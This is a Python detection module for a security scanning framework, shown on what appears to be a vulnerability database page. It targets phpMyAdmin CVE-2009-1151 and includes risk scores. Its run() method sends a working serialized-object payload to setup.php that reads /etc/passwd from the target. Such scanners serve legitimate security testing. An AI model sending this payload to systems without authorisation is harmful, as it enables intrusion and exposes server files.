PhpMyAdmin Scripts - Remote Code Execution Detection
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PhpMyAdmin Scripts 2."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'PhpMyAdmin Scripts - Remote Code Execution Detection',
'description': 'PhpMyAdmin Scripts 2.11.x before 2.11.9.5 and 3.x before 3.1.3.1 are susceptible to a remote code execution in setup.php that allows remote attackers to inject arbitrary PHP code into a configuration file via the save action. Combined with the ability to save files on server, this can allow unauthenticated users to execute arbitrary PHP code.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2009', 'deserialization', 'kev', 'vulhub', 'phpmyadmin', 'rce', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://www.phpmyadmin.net/security/PMASA-2009-3/',
'https://github.com/vulhub/vulhub/tree/master/phpmyadmin/WooYun-2016-199433',
'http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin/branches/MAINT_2_11_9/phpMyAdmin/scripts/setup.php?r1=11514&r2=12301&pathrev=12301',
'http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php',
'https://nvd.nist.gov/vuln/detail/CVE-2009-1151',
],
'cve': 'CVE-2009-1151',
}
def run(self):
path = '/scripts/setup.php'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Content-Type': 'application/x-www-form-urlencoded'}, data='action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:.*:0:0:',)
if any(re.search(rx, body) for rx in body_regexes):
self.set_info(severity='high', reason='PhpMyAdmin Scripts - Remote Code Execution detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
9.2Critical risk
Vulners AI Score9.2
CVSS 27.5
CVSS 3.19.8
EPSS0.96565
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